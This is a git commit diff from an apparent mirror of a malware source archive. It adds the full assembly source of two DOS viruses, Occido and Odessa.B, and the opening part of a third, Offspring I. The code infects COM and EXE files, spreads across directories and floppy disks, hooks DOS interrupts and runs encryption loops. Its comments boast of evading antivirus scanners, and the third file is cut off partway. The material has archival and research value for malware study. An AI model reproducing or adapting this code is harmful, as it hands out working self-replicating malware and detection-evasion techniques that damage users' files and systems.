mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,285 @@
|
||||
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
|
||||
; TYPE: Appending
|
||||
; ENCRYPTION: Yes ( Double )
|
||||
; INFECTS: COM
|
||||
; RESIDENT: No
|
||||
; STEALTH: No
|
||||
; DT: No ( Directory Transversal )
|
||||
; REPAIRABLE: Yes
|
||||
; PAYLOAD: No
|
||||
; SIZE: 328 bytes
|
||||
; AUTHOR: The Virus Elf
|
||||
|
||||
; Appends itself to files while encrypting itself with two different
|
||||
; encryption routines. Only infects 5 files per run of an infected file.
|
||||
; After infecting 5 files, or all in current directory, it will hide itself
|
||||
; before closing. I just felt like doing it for more fun. If a person were
|
||||
; to pause a running program and do a mem dump, the virus would not show up
|
||||
; because it hides itself before returning control to the running progge.
|
||||
|
||||
start:
|
||||
jmp Virus_start ; Jumps to the start of the virus. This
|
||||
; will change as the virus is appended to
|
||||
; different size files.
|
||||
Virus_start:
|
||||
call Delta ; Now we have to get the delta offset. By
|
||||
; calling Delta we push the address of 'pop bp'
|
||||
; onto the stack.
|
||||
Delta:
|
||||
pop bp ; Put the address into BP so it can be used.
|
||||
sub bp,offset delta ; Now this takes the distance that Delta is now
|
||||
; now (BP) and subtracts where it started
|
||||
; (Offset Delta). Understand?? Hopefully you do!
|
||||
; Because most files are different sizes, and this
|
||||
; virus just attaches itself to the end we have
|
||||
; to find out where it is before it can do anything.
|
||||
|
||||
Skip:
|
||||
jmp DHidden ; We have to skip the decrypt part on the first run
|
||||
|
||||
Decrypt:
|
||||
; Give length of area to decrypt to CX
|
||||
;mov cx,cryptie-hidden ; This is written later to keep correct file size
|
||||
; and offsets. It overwrites the 'jmp hidden'.
|
||||
lea di,[bp+hidden] ; Start of area to decrypt
|
||||
mov si,di ; its also the destination for decrypted part
|
||||
call Cryptie ; Decrypts the virus from here to the decryption
|
||||
; routine.
|
||||
|
||||
Hidden: ; Only encrypted once, because this is the decrypt
|
||||
; call for the second layer.
|
||||
lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of
|
||||
; encryption into DI
|
||||
mov si,di ; Then SI
|
||||
mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
|
||||
mov dl,03h ; Decryption code value
|
||||
call DCryptie ; Boom! Decrypts the second layer
|
||||
|
||||
DHidden: ; Area that is hidden with Double encryption
|
||||
|
||||
; Here we will write the saved bytes from the beggining of the file, back
|
||||
; to where they belong, so that we may run the file as normal, after we
|
||||
; infect some more files of course :)
|
||||
|
||||
lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale
|
||||
; that would be changed depending on infected file
|
||||
; size. We just add our Delta offset to find out
|
||||
; its exact location.
|
||||
lea di,100h ; We are gonna write the saved bytes to the start
|
||||
; so we run the program as normal after we infect
|
||||
; some files.
|
||||
mov cx,03h ; The number of bytes we have to write back to start
|
||||
rep movsb ; Quickly restores the file so we can run it after
|
||||
; we get through here.
|
||||
|
||||
lea si,[bp+frstbytes] ; We have to save these over the jmp
|
||||
; so that later we can just copy Virus to mem
|
||||
lea di,[bp+Skip] ; Where the skip instruction is
|
||||
; We are gonna over write it with the Frstbytes
|
||||
mov cx,03h ; Length of area
|
||||
rep movsb ; Does the job
|
||||
|
||||
push 00h ; Pushes the 0 value to stack, this will keep
|
||||
; a count of the files infected during each run.
|
||||
|
||||
mov ax,4E00h ; Function 4Eh: Find First
|
||||
Findnext: ; Findnext jmp point
|
||||
lea dx,[bp+filemask] ; Gets the filemask = '*.com',0
|
||||
xor cx,cx ; No attributues in this search
|
||||
int 21h ; Tells DOS to find the *.com files
|
||||
|
||||
jnc Open ; Found one, now open it!
|
||||
|
||||
jmp Badstuff ; NONE left, do some other stuff
|
||||
|
||||
Open: ; Open/Encrypt/Infect routines
|
||||
|
||||
mov ax,3D02h ; Function 3D: Open File
|
||||
; 02 = Read/Write access
|
||||
mov dx,9Eh ; Location of ASCIZ filename
|
||||
int 21h ; Calls DOS to open the file, with Read/Write access
|
||||
; so that we can write the virus to it :)
|
||||
|
||||
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
|
||||
|
||||
mov ah,3Fh ; Function 3Fh: Read from file
|
||||
mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes
|
||||
; to read from file.
|
||||
lea dx,[bp+saved] ; The location for the bytes to be stored when read.
|
||||
int 21h ; Calls DOS to load the first 3 bytes of Victem file
|
||||
; into the 'Saved' location so that it may run correctly.
|
||||
|
||||
mov al,0E9h ; Checks to see if it was a jump instruction
|
||||
cmp al,[bp+saved] ; by matching E9h to the first byte of the file.
|
||||
jne Uninfected ; It can't be infected by this virus because the file
|
||||
; has NO jmp at its beggining. If it does have a jmp
|
||||
; but not from this program it could be from another
|
||||
; virus, and double infecting can cause trouble.
|
||||
jmp Infected
|
||||
|
||||
Uninfected:
|
||||
|
||||
mov ax,[80h+1Ah] ; Gets the filesize of the target file
|
||||
sub ax,03h ; Takes into account the length of the JMP instruction
|
||||
mov [bp+jumpto],ax ; Puts the location to jmp to as the
|
||||
; 2nd,3rd bytes of the buffer.
|
||||
|
||||
|
||||
mov ax,4200h ; Function 42h: Move File Pointer
|
||||
; 00h = beggining, after the read the FP moves 3 bytes
|
||||
xor cx,cx ; 0 = CX
|
||||
xor dx,dx ; 0 = DX
|
||||
int 21h ; Calls DOS, this is explained a bit more with the
|
||||
; next "Move File Pointer" instruction
|
||||
|
||||
mov ah,40h ; Function 40h: Write to file
|
||||
mov cx,03 ; Number of bytes to write. CX = # of bytes
|
||||
lea dx,[bp+jumping]; Start at buffer area, this will write the jump
|
||||
; instruction to the beggining of the victem file.
|
||||
int 21h ; Blammo! This is the jmp that skips over the normal
|
||||
; file and heads write to the virus code. INT 21h tells
|
||||
; DOS to write those three bytes.
|
||||
|
||||
mov ax,4202h ; Function 42h: Move File pointer
|
||||
; 02 = End of file ( EOF )
|
||||
xor cx,cx ; DX:CX is the offset from the File pointer location,
|
||||
xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX
|
||||
int 21h ; Calls DOS to move the file pointer
|
||||
|
||||
; Write the Virus to memory
|
||||
|
||||
VirL EQU Ende-Virus_Start
|
||||
|
||||
; Length of Virus except jmp at beggining
|
||||
|
||||
lea si,[bp+Virus_Start] ; Start of virus
|
||||
lea di,[bp+buffer] ; Area that it will be stored in mem
|
||||
mov cx,VirL ; Length of it
|
||||
rep movsb
|
||||
|
||||
; Now we have to modify it so that it is encrypted
|
||||
|
||||
DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will
|
||||
; end up double encrypted.
|
||||
HiddenL EQU Cryptie-Hidden ; Length of single encrypt area
|
||||
DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer
|
||||
HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer
|
||||
|
||||
; More ways to clear up the clutter
|
||||
|
||||
; Here we encrypt All but the second and first Decrypt calls, and the
|
||||
; decryption routines that go with em.
|
||||
|
||||
lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then
|
||||
mov di,si ; be encrypted again, giving us our Doubly Encrypted
|
||||
; area.
|
||||
mov cx,DHiddenL ; Length of this area
|
||||
mov dl,05h ; Encryption value
|
||||
call DCryptie ; Calls the Second Encryption routine
|
||||
; because this will become decrypted by the first
|
||||
; when infected files are run.
|
||||
|
||||
; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
|
||||
; DCryptie for the second time ) which makes this double encrypting.
|
||||
|
||||
lea si,[bp+HBufStart] ; Start of Hidden area in buffer
|
||||
mov di,si ; You should know this one by now.
|
||||
mov cx,HiddenL ; Length of the area
|
||||
call Cryptie ; Uhoh, now its encrypted and the AV software won't
|
||||
; find it. Now what are we gonna do?
|
||||
; ( Being sarcastic of course! )
|
||||
|
||||
; So we have the virus prepared for infecting :)
|
||||
|
||||
mov ah,40h ; Function 40h: Write to file ( everyone's fave )
|
||||
lea dx,[bp+buffer] ; Start of virus in mem buffer
|
||||
mov cx,VirL ; Length of it
|
||||
int 21h ; Calls DOS to write this :)
|
||||
|
||||
pop cx ; This is gonna be the infected file count.
|
||||
inc cx ; We must have found and infected one if we are here so
|
||||
; makes sure it gets added to the total.
|
||||
push cx ; Saves it so we can check again after the next file
|
||||
; is found.
|
||||
|
||||
Infected: ; A place to jump in case the file is already infected
|
||||
|
||||
mov ah,3Eh ; Function 3Eh: Close File
|
||||
int 21h ; Calls DOS to close up the file.
|
||||
|
||||
pop cx
|
||||
push cx
|
||||
cmp cl,05h ; Check to see if 5 files have been infected.
|
||||
je BadStuff
|
||||
mov ax,4F00h ; Function 4Fh: Find next
|
||||
jmp Findnext
|
||||
|
||||
Badstuff: ; Here is where the payload goes
|
||||
|
||||
exit:
|
||||
|
||||
; Now we are gonna get outta here, first we should cover up any stuff
|
||||
; that might show up in a mem dump, so that if anyone looks, all they
|
||||
; see is garbage.
|
||||
|
||||
lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
|
||||
; everything but the encryption itself. ( and the
|
||||
; kitchen sink, of course )
|
||||
mov si,di ; and put it into DI/SI so we can hide the virus
|
||||
; from the host program.
|
||||
mov cx,cryptie-Virus_start ; Gives length of area to hide into CX
|
||||
call cryptie ; Calls the encryption loop to hide it
|
||||
|
||||
; Jumps to the start of the actual program.
|
||||
;push 100h ; This is encrypted because the call to cryptie
|
||||
;ret ; will decrypt it and it will be the only thing
|
||||
db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but
|
||||
; they are not very easily recognizable as virus
|
||||
; code. )
|
||||
|
||||
Frstbytes:
|
||||
mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the
|
||||
; decrypt routines on the first run.
|
||||
saved db 0CDh,020h,0h ; This is the storage space for the first
|
||||
; three bytes from the infected file. CD20 is
|
||||
; the 'int 20h' instruction used to exit.
|
||||
jumping db 0E9h ; E9 = jmp
|
||||
jumpto db 0,0 ; Place for the new address
|
||||
filemask db '*.com',0 ; The type of files we are gonna infect.
|
||||
message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info
|
||||
|
||||
DCryptie:
|
||||
|
||||
lodsb ; Gets next byte Doomed for De/Encryption
|
||||
xchg dx,cx ; Saves the count while using the DE/ENcrypt value
|
||||
; Uses 3 to decrypt and 5 to encrypt
|
||||
rol al,cl ; Rotates those bits by CL
|
||||
not al ; Opposite bits
|
||||
neg al ; One's complement bits
|
||||
not al ; More opposite bits
|
||||
xor al,0C4h ; XORs the value
|
||||
not al ; See above
|
||||
neg al ; " "
|
||||
not al ; " "
|
||||
rol al,cl ; " "
|
||||
xchg cx,dx ; Returns the count value to CX
|
||||
stosb ; Puts the encrypted byte into mem
|
||||
loop DCryptie ; Does all the bytes specified by CX
|
||||
ret ; Jumps back to the caller
|
||||
|
||||
Cryptie:
|
||||
|
||||
lodsb ; Gets the next byte to De/Encrypt
|
||||
ror al,04h ; Rotates the bits 4 places
|
||||
xor al,0C4h ; Does a little XORing
|
||||
not al ; Gets the opposite bits
|
||||
neg al ; Gets the one's complement bits
|
||||
not al ; Gets the opposite bis again
|
||||
xor al,0C4h ; More XORing
|
||||
ror al,04h ; Rotates the bits Back 4 places
|
||||
stosb ; Plugs AL back into mem
|
||||
loop Cryptie ; Does all the bytes specified by CX
|
||||
ret ; Jumps back to where it was called
|
||||
|
||||
buffer:
|
||||
ende:
|
||||
@@ -0,0 +1,409 @@
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
; Odessa.B virus
|
||||
; (C) Opic [CodeBreakers '98]
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
;Odessa.B variant is a continuation of Odessa (aka opic.727)
|
||||
;
|
||||
;Odessa.B's NEW features:
|
||||
;
|
||||
;-Odessa.B will NOW infect .Exe files present on any floppy disks
|
||||
; undetectably (due to a critical error handler). It does so after
|
||||
; the current HDD is infected. When Odessa.B is present on a floppy
|
||||
; disk it will move imediatly to the HDD to insure infection of new systems.
|
||||
;Thus making it a viable floppy born virus (one of the few outside of the
|
||||
;BS/MBR families)
|
||||
;
|
||||
;-an expanded encryption loop
|
||||
;
|
||||
;-some minor bug fixes, and optimisations.
|
||||
;
|
||||
;Infected files grow approximatly: 745 bytes
|
||||
;
|
||||
;Old features:
|
||||
;
|
||||
;-Exe file infector
|
||||
;-directory transversal via dotdot
|
||||
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
|
||||
|
||||
;-some anti-emulation
|
||||
;-payload criteria: the virus will activate its payload on
|
||||
; either the 13th or the 6th of any given month provided the seconds
|
||||
; are below 30.
|
||||
;
|
||||
;-payload: when activated the virus will beep 6 times before the
|
||||
; infected file is run. I choose this more subtle payload because
|
||||
;it is easily missed, and only creates a bit of curiosity at most.
|
||||
;which is a good aspect since the fact that all infected files will
|
||||
;try to access the floppy drive before running also brings some curious.
|
||||
;Its also somewhat humerous because the telltale signs of this virus
|
||||
;are also what many non-computer literate people constantly write to
|
||||
;AVers about complaining of (to which the AVs constant reply is:
|
||||
;false alarm. There is a signature line:
|
||||
;Odessa.B (c) Opic [Codebreakers 1998]
|
||||
;I have left for the AV to rename for me, as it is never displayed
|
||||
;(hell i figure their gonna anyways :P ).
|
||||
;
|
||||
;detected: Not detected by TBAV as second gen.
|
||||
;
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
Exe_Infector Segment
|
||||
Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
|
||||
jumps
|
||||
start: ;set registers up
|
||||
|
||||
dec cx ;lame loop
|
||||
noav1:
|
||||
jmp noav2
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
noav2:
|
||||
loop noav1 ;end of antiheur
|
||||
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
Call delta
|
||||
|
||||
delta: ;delta offset
|
||||
pop bp
|
||||
sub bp,offset delta
|
||||
lea si,[bp+Begin_Virus]
|
||||
mov di,si
|
||||
mov cx,End_Virus-Begin_Virus
|
||||
call encrypt
|
||||
jmp Begin
|
||||
|
||||
encrypt:
|
||||
lodsb
|
||||
NEG al ;<-------------13
|
||||
ROR al,4 ;<------------12
|
||||
NOT al ;<-----------11
|
||||
ROR al,4 ;<----------10
|
||||
NOT al ;<---------9
|
||||
NEG al ;<--------8
|
||||
ROL al,4 ;<-------7
|
||||
NOT al ;<------6
|
||||
ROL al,4 ;<-----5
|
||||
NOT al ;<----4
|
||||
ROR al,4 ;<---3
|
||||
NEG al ;<--2
|
||||
NOT al ;<-1
|
||||
ROR al,4 ;<0 this huge loop may
|
||||
NOT al ;<-1 look silly but it
|
||||
NEG al ;<--2 kills alot of AV
|
||||
ROR al,4 ;<---3 scanners due becuz
|
||||
NOT al ;<----4 they think it is
|
||||
ROL al,4 ;<-----5 endless
|
||||
NOT al ;<------6
|
||||
ROL al,4 ;<-------7
|
||||
NEG al ;<--------8
|
||||
NOT al ;<---------9
|
||||
ROR al,4 ;<----------10
|
||||
NOT al ;<-----------11
|
||||
ROR al,4 ;<------------12
|
||||
NEG al ;<-------------13
|
||||
stosb
|
||||
loop encrypt
|
||||
ret
|
||||
Begin_Virus:
|
||||
|
||||
Check_Payload proc
|
||||
mov ah,2ah ;system date
|
||||
int 21h
|
||||
cmp dl,13 ;is it the 31st if the month?
|
||||
je sec ;yes? test seconds!
|
||||
cmp dl,6 ;13th ?
|
||||
je sec ;yes seconds!
|
||||
jmp CP_Exit ;no? restore.
|
||||
sec:
|
||||
mov ah,2Ch ;check time
|
||||
int 21h
|
||||
cmp dh,30d ;seconds less then 30?
|
||||
jnb CP_Exit ;if yes->payload
|
||||
call Payload
|
||||
|
||||
CP_Exit:
|
||||
ret
|
||||
Check_Payload endp
|
||||
|
||||
Payload proc
|
||||
|
||||
mov ah,0eh ;back to c:\
|
||||
mov dl,02h
|
||||
int 21h
|
||||
|
||||
mov cx,6 ;beep 6 times.
|
||||
beep:
|
||||
mov al,7
|
||||
int 29h
|
||||
loop beep
|
||||
ret
|
||||
Payload endp
|
||||
|
||||
Infect proc
|
||||
mov ax,3d02h ;open file
|
||||
lea dx,[bp+End_Virus+1eh]
|
||||
int 21h
|
||||
|
||||
mov bx,ax ;file handleto bx
|
||||
mov ah,3fh ;exe head into buffer
|
||||
lea dx,[bp+header]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
|
||||
cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
|
||||
je its_exe
|
||||
cmp word ptr cs:[bp+header],'ZM'
|
||||
je its_exe
|
||||
jmp close
|
||||
|
||||
its_exe:
|
||||
cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
|
||||
jne not_infected
|
||||
jmp close
|
||||
|
||||
not_infected:
|
||||
mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
|
||||
;windbloze exe (pe,ne,le .ect)
|
||||
cmp ax, 40h
|
||||
jae close ; > or = means windbloze
|
||||
|
||||
mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
|
||||
mov word ptr cs:[bp+old_ss],ax ;stack segment
|
||||
mov ax,word ptr cs:[bp+header+10h] ;stack pointer
|
||||
mov word ptr cs:[bp+old_sp],ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
|
||||
mov word ptr cs:[bp+old_ip],ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+16h] ;code segment
|
||||
mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
|
||||
|
||||
mov ax,4202h ;EOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
push ax ;save file size
|
||||
push dx
|
||||
push ax
|
||||
|
||||
mov ax,word ptr cs:[bp+header+8] ;header size
|
||||
shl ax,4 ;convert
|
||||
mov cx,ax ;save header size in cx
|
||||
pop ax ;restore ax
|
||||
sub ax,cx ;subtract header from file size to get code and data size
|
||||
sbb dx,0
|
||||
|
||||
mov cx,10h
|
||||
div cx
|
||||
|
||||
mov word ptr cs:[bp+header+14h],dx ;IP create new header
|
||||
mov word ptr cs:[bp+header+16h],ax ;CS
|
||||
mov word ptr cs:[bp+header+0Eh],ax ;SS
|
||||
mov word ptr cs:[bp+header+10h],0fffeh ;SP
|
||||
mov word ptr cs:[bp+header+12h],'B' ;marker
|
||||
|
||||
pop dx ;restore filesize
|
||||
pop ax ;dx to ax
|
||||
|
||||
add ax,End_Virus-start
|
||||
adc dx,0
|
||||
|
||||
mov cx,512 ;divide new filesize by 512
|
||||
div cx
|
||||
|
||||
cmp dx,0
|
||||
je no_remainder
|
||||
inc ax
|
||||
|
||||
no_remainder:
|
||||
mov word ptr cs:[bp+header+4],ax ;save new filesize
|
||||
mov word ptr cs:[bp+header+2],dx
|
||||
|
||||
lea si,[bp+Begin_Virus] ;crypt virus
|
||||
lea di,[bp+Buffer]
|
||||
mov cx,End_Virus - Begin_Virus
|
||||
call encrypt
|
||||
|
||||
mov ah,40h ;write decryptor
|
||||
mov cx,Begin_Virus - start
|
||||
lea dx,[bp+start]
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write encrypted portion
|
||||
mov cx,End_Virus - Begin_Virus
|
||||
lea dx,[bp+Buffer]
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ;SOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write new header
|
||||
lea dx,[bp+header]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
close:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
Infect endp
|
||||
|
||||
ni24h proc ;
|
||||
mov al,3 ;ignore error
|
||||
iret ;critical error handler
|
||||
ni24h endp
|
||||
|
||||
Search proc
|
||||
mov ax,3524h ;critical error handler
|
||||
int 21h
|
||||
push bx ;saves orig
|
||||
push es ;stuffs to restore later
|
||||
|
||||
mov ah,25h
|
||||
lea dx,[bp+ni24h]
|
||||
int 21h
|
||||
|
||||
push ds ;ES was changed by 3524h but you need it
|
||||
pop es ;to be restored for the crypt procedure.
|
||||
|
||||
first:
|
||||
mov ah,4eh ;find first
|
||||
lea dx,[bp+filespec]
|
||||
mov cx,7
|
||||
|
||||
findnext:
|
||||
int 21h
|
||||
jc findover ;no? get out!
|
||||
call Infect ;yes and infect!
|
||||
mov ah,4fh ;find next
|
||||
jmp findnext
|
||||
findover:
|
||||
mov ah,3Bh ;change dirs
|
||||
lea dx,[bp+dotdot] ;to root
|
||||
int 21h ;now
|
||||
jnc first ;find first file
|
||||
|
||||
get_cur_drive:
|
||||
mov ah,19h ;what drive are we on?
|
||||
int 21h
|
||||
cmp al,00h ;if already floppy
|
||||
je Search_Exit ;we can leave now.
|
||||
|
||||
mov ah,0eh ;select default drive
|
||||
mov dl,00h ;this time the floppy drive
|
||||
int 21h
|
||||
jmp first ;exe on floppy?
|
||||
Search_Exit:
|
||||
pop ds
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21h
|
||||
ret
|
||||
Search endp
|
||||
|
||||
Begin proc
|
||||
mov ah,2fh ;get current dta
|
||||
int 21h
|
||||
push es ;save it
|
||||
push bx
|
||||
push cs ;restore es
|
||||
pop es
|
||||
|
||||
mov ah,1ah ;set new dta to end of virus
|
||||
lea dx,[bp+End_Virus]
|
||||
int 21h
|
||||
|
||||
mov ah,0eh ;select default drive (main HDD)
|
||||
mov dl,02h ;c:\
|
||||
int 21h ;so our virus can move from
|
||||
;a floppy to a new HDD without
|
||||
;any help
|
||||
|
||||
lea si,[bp+old_ip]
|
||||
lea di,[bp+original_ip]
|
||||
mov cx,4
|
||||
rep movsw
|
||||
|
||||
call Search
|
||||
call Check_Payload
|
||||
|
||||
mov ah,0eh ;back to c:\
|
||||
mov dl,02h
|
||||
int 21h
|
||||
|
||||
restore: ;restore prev location DTA
|
||||
pop dx
|
||||
pop ds
|
||||
|
||||
mov ah,1ah ;reset dta
|
||||
int 21h
|
||||
|
||||
pop ds
|
||||
pop es
|
||||
mov ax,es ;es points to PSP
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+original_cs],ax
|
||||
|
||||
cli ;ints off!
|
||||
add ax,word ptr cs:[bp+original_ss]
|
||||
mov ss,ax
|
||||
mov sp,word ptr cs:[bp+original_sp]
|
||||
sti ;ints on!
|
||||
Begin endp
|
||||
|
||||
db 0eah
|
||||
original_ip dw ?
|
||||
original_cs dw ?
|
||||
original_ss dw ?
|
||||
original_sp dw ?
|
||||
|
||||
old_ip dw offset Exit
|
||||
old_cs dw 0000h
|
||||
old_ss dw 0000h
|
||||
old_sp dw 0fffeh
|
||||
filespec db '*.exe',0
|
||||
dotdot db '..',0
|
||||
sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
|
||||
header db 1ah DUP(?)
|
||||
End_Virus db 42 dup(?)
|
||||
Buffer equ this byte+80h
|
||||
|
||||
db 1024 dup(?)
|
||||
|
||||
Entry proc
|
||||
mov bp,0000h
|
||||
push ds
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
jmp Begin
|
||||
Entry endp
|
||||
|
||||
Exit proc ;<- Begin procedure
|
||||
mov ax,4c00H
|
||||
int 21h
|
||||
Exit endp ;<- End procedure
|
||||
|
||||
Exe_Infector Ends
|
||||
End Entry
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,439 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; OSPRING.COM - Make sure you compile this to a COM file
|
||||
; - Compatible with A86 v3.22
|
||||
; OFFSPRING I - By VG Enterprises (Virogen)
|
||||
;
|
||||
; NOTICE : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use this at your own risk. NOT intended
|
||||
; for any lamers to upload the Mcafee! Thank you for your
|
||||
; loyal obendience.
|
||||
;
|
||||
; TYPE : SPAWNING RESIDENT
|
||||
; VERSION : BETA 0.05
|
||||
;
|
||||
; FIXED/NEW IN VERSION 0.05
|
||||
; - Mutation engine much smaller
|
||||
; - Now change interrupt vectors directly
|
||||
; - The XOR number is now generated randomly
|
||||
; using the system clock as a base.
|
||||
; - The FF/FN buffer has been moved outside
|
||||
; of the virus code, so disk space is
|
||||
; lowered.
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS changes directories, or changes
|
||||
; drives... all files in the CURRENT directory
|
||||
; (the one you're coming out of) will be infected.
|
||||
; COM files will be hidden, and have the read-only
|
||||
; attribute. When they are executed they will
|
||||
; check if the virus is already in memory, and
|
||||
; then execute the corresponding EXE file. See
|
||||
; DOCS.
|
||||
;
|
||||
; This virus is NOT completed, so don't go off when you find a
|
||||
; bug. There is one that I haven't determined the cause of yet,
|
||||
; Do a 'DIR' of a directory other than the current, and see
|
||||
; what happens. There's still some variables that can be
|
||||
; moved outside of the code, but it won't make a hell of
|
||||
; a difference in size.
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
title off_spring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0FCh ; Yep, we're here
|
||||
|
||||
cr equ 0dh ; carraige return
|
||||
lf equ 0ah ; line feed
|
||||
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
; jump to the beginning of the main procedure
|
||||
start:
|
||||
|
||||
jmp no_dec ; Skip decryption, changes to NOP
|
||||
lea di,enc_data+2 ; Point to byte after encryption num
|
||||
mov dx,[di-2] ; load encryption num
|
||||
call encrypt ; Decrypt the virus
|
||||
no_dec:
|
||||
jmp main ; Jump to main routine
|
||||
|
||||
enc_data DW 0000 ; Encryption Data - num we XOR by
|
||||
|
||||
|
||||
ID DB cr,lf,'(c)1993 VG Enterprises',cr,lf ; my copyright
|
||||
VNAME Db cr,lf,'* Congratulations, You have recieved the privelge of being infected by the *'
|
||||
Db cr,lf,'* Offspring I v0.05. *','$'
|
||||
|
||||
fname db '*.EXE',0 ; Filespec to search for
|
||||
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
old_dta dd 0 ; old seg:off of DTA
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; This is our new INT 21H (dos) interrupt handler!
|
||||
;
|
||||
;
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ah, 3bh ;
|
||||
je run_res ; Nope, jump
|
||||
cmp ah,0eh
|
||||
jne end_21
|
||||
|
||||
run_res:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,2fh
|
||||
int 21h ; Get the DTA
|
||||
|
||||
mov ax,es
|
||||
mov word ptr cs: old_dta,bx
|
||||
mov word ptr cs: old_dta+2,ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call resident
|
||||
|
||||
mov dx,word ptr cs: old_dta
|
||||
mov ax,word ptr cs: old_dta+2
|
||||
mov ds,ax
|
||||
mov ah,1ah
|
||||
int 21h ; Restore the DTA
|
||||
|
||||
pop ss
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
end_21 :
|
||||
jmp [ dword ptr cs: old21_ofs] ; jump to original int 21h
|
||||
iret
|
||||
new21 endp ; End of handler
|
||||
|
||||
|
||||
; ------------------------------------------------------------
|
||||
; Main procedure
|
||||
; -----------------------------------------------------------
|
||||
main proc
|
||||
|
||||
|
||||
mov word ptr [0100h],9090h ; NOP the jump past decryption
|
||||
mov byte ptr [0102h],90h
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk,ax ; Save in parameter block for exec
|
||||
|
||||
mov par1,cs ; Save segments for EXEC
|
||||
mov par2,cs
|
||||
mov par_seg,cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,14 ; 14th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; Display message
|
||||
lea dx,ID
|
